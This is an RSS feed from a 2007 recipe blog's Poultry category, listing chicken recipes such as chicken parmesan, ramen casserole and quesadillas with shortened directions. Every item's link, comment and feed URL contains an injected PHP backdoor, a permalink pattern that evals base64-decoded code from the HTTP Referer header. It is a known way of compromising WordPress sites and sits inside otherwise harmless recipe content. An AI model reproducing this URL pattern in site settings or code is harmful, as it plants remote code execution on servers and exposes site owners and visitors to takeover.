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	<title>Yumtio.us &#187; Poultry</title>
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	<link>http://www.yumtio.us</link>
	<description>Recipes and restaurant reviews.</description>
	<lastBuildDate>Tue, 13 Nov 2007 08:18:44 +0000</lastBuildDate>
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			<item>
		<title>Oven Baked Chicken Parmesan Recipe</title>
		<link>http://www.yumtio.us/2007/08/17/oven-baked-chicken-parmesan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/08/17/oven-baked-chicken-parmesan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Aug 2007 21:48:48 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/oven-baked-chicken-parmesan</guid>
		<description><![CDATA[Ingredients
4 boneless skinless chicken breast halves, about 1/4lb
1 egg slightly beaten
1/4 c. Italian seasoning
dry bread crumbs
1 jar Prego pasta sauce
1 cup shredded mozzarella cheese
Directions

Preheat oven to 350&#176;F. Dip chicken in egg, coat with seasoning, crumbs, cheese and sauce.
Bake for 45 minutes to an hour at 350&#176;F or until chicken is done.

]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/08/17/oven-baked-chicken-parmesan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
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		<item>
		<title>Ramen Chicken Casserole Recipe</title>
		<link>http://www.yumtio.us/2007/04/16/ramen-chicken-casserole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/04/16/ramen-chicken-casserole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 16 Apr 2007 18:37:49 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/ramen-chicken-casserole</guid>
		<description><![CDATA[Ingredients
1 pkg chicken flavor Ramen noodles
1 can cream of chicken soup
chicken, cut
Optional: peas, other vegetables
Directions

Fully cook chicken. Boil water, insert Ramen with flavor packet. Halfway through cooking process, add chicken and peas. Cook until noodles are done.
Drain liquid into a small bowl or cup, save for later. Add cream of chicken soup to noodles, cook [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chicken Quesadilla Recipe</title>
		<link>http://www.yumtio.us/2007/04/04/chicken-quesadilla-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/04/04/chicken-quesadilla-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 05 Apr 2007 01:28:05 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/chicken-quesadilla-recipe</guid>
		<description><![CDATA[Ingredients
tortillas
chicken
1 can mexican style stewed tomatoes
pinch of pepper
butter can spray
mozzarella cheese
Directions

Grate cheese, keep at room temperature.
Cut chicken into small pieces.
Place chicken into skillet, cover bottom of pan with stewed tomatoes. If needed, cut tomatoes into small pieces. Add pepper.
Let chicken simmer at low to medium heat until chicken is no longer pink in middle. If [...]]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/04/04/chicken-quesadilla-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Green Tea Chicken Recipe</title>
		<link>http://www.yumtio.us/2007/04/04/green-tea-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/04/04/green-tea-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 05 Apr 2007 01:15:34 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/green-tea-chicken-recipe</guid>
		<description><![CDATA[Ingredients
ice green tea
chicken breast, sliced in half
pinch of pepper
Directions

In a skillet, place children, pour tea onto chicken until the bottom of pan is covered and barely over chicken.
Sprinkle a pinch of pepper around chicken.
Place lid on skillet, let simmer at medium heat until chicken bottom is no longer pink. Turn, simmer until not pink.
Serve with [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mexican Chicken Recipe</title>
		<link>http://www.yumtio.us/2007/03/27/mexican-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/03/27/mexican-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 28 Mar 2007 01:30:47 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/mexican-chicken-recipe</guid>
		<description><![CDATA[Ingredients
Boneless chicken
Chopped onion
Velveeta cheese, sliced
Doritos
1 can cream of chicken soup
1 can cream of mushroom soup
1 can rotel tomatoes
Directions

Bake chicken. Place chicken in a 9&#215;13in pan, layer with onions, cheese and Doritos. Mix together tomatoes and soup and pour over chicken.
Bake at 350&#176;F for 30 to 40 minutes.

]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/03/27/mexican-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crispy Chicken Recipe</title>
		<link>http://www.yumtio.us/2007/03/25/crispy-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/03/25/crispy-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 25 Mar 2007 13:21:07 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/crispy-chicken-recipe</guid>
		<description><![CDATA[Ingredients
1 1/2 cup crispy rice cereal, crushed
2 tbs all-purpose flour
1/2 tsp salt
1/4 tsp dried thyme
1/4 tsp poultry seasoning
1/4 cup butter or margarine, melted
4 boneless, skinless chicken breast halves
Directions

In a shallow bowl, combine cereal, flour and seasonings. Place butter in another bowl, dip chicken in butter then cereal mixture and place in a greased 11in x [...]]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/03/25/crispy-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Italian Chicken Recipe</title>
		<link>http://www.yumtio.us/2007/03/24/italian-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/03/24/italian-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 24 Mar 2007 21:13:13 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/italian-chicken-recipe</guid>
		<description><![CDATA[Ingredients
1/2 cup onions, diced
1 1/8 tsp paprika
3 tsp oil
1 1/4 cup water
1/4 cup tomato paste
1 bay leaf
1/2 cup chicken bouillon granules
1/4 cup flour
1 1/2 tsp parmesan cheese
1 tsp salt
1/4 tsp garlic powder
1/4 tsp oregano
1 1/2 lb chicken
Directions

In a small sauce pan, saute onions and 1/8 tsp paprika in 1 tsp oil until tender. Stir in [...]]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/03/24/italian-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Homemade Chicken Nuggets Recipe</title>
		<link>http://www.yumtio.us/2007/03/20/homemade-chicken-nuggets-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/03/20/homemade-chicken-nuggets-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 20 Mar 2007 20:07:26 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/homemade-chicken-nuggets-recipe</guid>
		<description><![CDATA[Ingredients
1 cup all purpose flour
4 tsp seasoned salt
1 tsp paprika
1 tsp ground mustard
1/2 tsp pepper
8 boneless chicken breast
1/4 cup oil

Directions

In a resealable plastic bag, combine the first six ingredients. Pound chicken into 1/2 inch pieces. Place chicken pieces into bag and shake to coat.
Heat oil in skillet or a deep fryer, take chicken out of [...]]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/03/20/homemade-chicken-nuggets-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chicken and Rice Casserole Recipe</title>
		<link>http://www.yumtio.us/2007/03/19/chicken-and-rice-casserole-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/03/19/chicken-and-rice-casserole-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 20 Mar 2007 00:45:57 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/chicken-and-rice-casserole-recipe</guid>
		<description><![CDATA[Ingredients
1 1/2 cups rice uncooked
1 stick margarine
1 can cream mushroom soup
1 cream of celery soup
2 cans cream chicken soup
1 cut up chicken
Directions

Melt margarine in pan. Cook chicken pieces in margarine.
Mix rice, soups and 4 soup cans of water together. Pour over chicken.
Bake at 300&#176;F for 2 hours.

]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/03/19/chicken-and-rice-casserole-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Easy Bistro Chicken Recipe</title>
		<link>http://www.yumtio.us/2007/03/10/easy-bistro-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.yumtio.us/2007/03/10/easy-bistro-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 10 Mar 2007 22:52:33 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Poultry]]></category>

		<guid isPermaLink="false">http://www.yumtio.us/main-dish/poultry/easy-bistro-chicken-recipe</guid>
		<description><![CDATA[Ingredients
2 tsp oil
3 cup fresh mushrooms
1 onion
1 can (15oz) stewed tomatoes, undrained
1/4 cup zesty Italian dressing
3 tbs tomato paste
4 small boneless chicken breasts
1 cup low fat mozzarella cheese
2 slices Oscar Mayer ready to serve bacon, crumbled

Directions

Heat oil in a large pan on medium heat. Add mushrooms, onions. Cook 5 minutes stirring occasionally in tomatoes with [...]]]></description>
		<wfw:commentRss>http://www.yumtio.us/2007/03/10/easy-bistro-chicken-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
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